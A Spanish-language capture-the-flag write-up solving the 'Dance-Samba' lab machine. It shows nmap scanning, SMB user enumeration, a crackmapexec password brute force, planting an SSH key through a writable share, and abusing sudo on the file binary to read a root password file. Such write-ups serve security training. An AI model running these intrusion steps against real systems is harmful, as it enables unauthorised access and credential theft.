> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/dance-samba-write-up.md).

# Dance-Samba write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/ffljaPaWHD7egs6b8NXr" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo para identificar los puertos abiertos de la máquina víctima**

Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/5iRolvEzONEMkgwycX9K" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que los puertos 21 (FTP), 22 (SSH), 139 y 445 (NetBIOS) están abiertos. Además, descubrimos que es posible acceder de forma anónima a una nota a través del servicio FTP. Así que iniciamos sesión y nos la descargamos en nuestra máquina hosts.

<figure><img src="/files/AiOlo07a5xB3jNfNdJkV" alt=""><figcaption></figcaption></figure>

La nota nos revela dos posibles usuarios, que son `donald` y `Macarena`. Así que ahora vamos a usar la herramienta `enum4linux` para enumerar los usuarios con el siguiente comando:

```bash
enum4linux 172.17.0.2
```

<figure><img src="/files/nkRcaUe70NZok4JepzXn" alt=""><figcaption></figcaption></figure>

Esto nos revela que existe el usuario `macarena`, así que ahora vamos a probar a realizar un ataque de fuerza bruta con la herramienta **crackmapexec** ejecutando lo siguiente:

```bash
crackmapexec smb 172.17.0.2 -u macarena -p ../rockyou.txt
```

<figure><img src="/files/o9hjtE5QsV74b4wzftj4" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña de `macarena` es `donald`. Así que vamos a usar **smbmap** para ver que recursos pude acceder. Para ello ejecutamos lo siguiente:

```bash
smbmap -H 172.17.0.2 -u "macarena" -p "donald"
```

<figure><img src="/files/J7429R0IU7ef9nBj1SRf" alt=""><figcaption></figcaption></figure>

Vemos que tenemos de escritura y lectura en el directorio macarena así que vamos a acceder a él usando **smbclient** con el siguiente comando:

```bash
smbclient //172.17.0.2/macarena -U "macarena"  
```

<figure><img src="/files/f73CI2sHY3DQudh87Ts0" alt=""><figcaption></figcaption></figure>

Observamos que se está compartiendo el directorio home de macarena. Así que lo que vamos a hacer es crear una clave pública y privada del servicio SSH y vamos a pasarla a la máquina víctima para así poder acceder a ella. Primero vamos a crear en nuestra máquina host una clave pública y privada ejecutando lo siguiente:

```bash
ssh-keygen   
```

<figure><img src="/files/QTjMpJemOC4SaAxE1H35" alt=""><figcaption></figcaption></figure>

Ahora vamos a crear la carpeta `.ssh` dentro del **samba**, y vamos a descarga la clave pública que hayamos creado ejecutando lo siguiente:

```bash
put /home/shinki/.ssh/id_ed25519.pub ./authorized_keys
```

<figure><img src="/files/5qiln2tBMZxLdxvwUmW3" alt=""><figcaption></figcaption></figure>

Y ahora en nuestra máquina hosts le damos los permisos de escritura y lectura a la clave privada y accedemos a la máquina víctima ejecutando lo siguiente:

```bash
chmod 0600 id_rsa && ssh -i id_ed25519 macarena@172.17.0.2
```

<figure><img src="/files/sqBAFsynijVXUWz8hrf6" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima, nos encontramos un directorio llamado `/home/secret`, en el cual se encuentra el archivo `hash`. El archivo hash contiene la contraseña `MMZVM522LBFHUWSXJYYWG3KWO5MVQTT2MQZDS6K2IE6T2===`, la cual está codificada en base64 y luego codificada de nuevo en base32. Por lo tanto ejecutamos lo siguiente para decodificarla:

```bash
echo "MMZVM522LBFHUWSXJYYWG3KWO5MVQTT2MQZDS6K2IE6T2===" | base32 -d | base64 -d
```

<figure><img src="/files/PF47EKJ8oFxp1zAv5uFN" alt=""><figcaption></figcaption></figure>

Esto nos indica que `supersecurepassword` corresponde con `MMZVM522LBFHUWSXJYYWG3KWO5MVQTT2MQZDS6K2IE6T2===`, está es la contraseña del usuario `macarena`, así que ahora podemos ejecutar el comando `sudo -l` e ingresar la contraseña. Esto nos indica que podemos ejecutar el binario `/usr/bin/file` como el usuario root.

<figure><img src="/files/fkBAWJzj6su1vH1UHMW5" alt=""><figcaption></figcaption></figure>

Así que ahora vamos a usar este binario para leer el contenido del archivo `/opt/password.txt`, el cual le pertenece al usuario root. Para ello ejecutamos lo siguiente:

```bash
sudo /usr/bin/file -f password.txt 
```

<figure><img src="/files/pRARvD2HaMNeDVvmtHVB" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña del usuario `root` es `rooteable2`, así que ya podemos iniciar sesión como usuario root y obtener una shell con privilegios elevado.

<figure><img src="/files/FqVnoUfk1lNRYX2IHSXb" alt=""><figcaption></figcaption></figure>
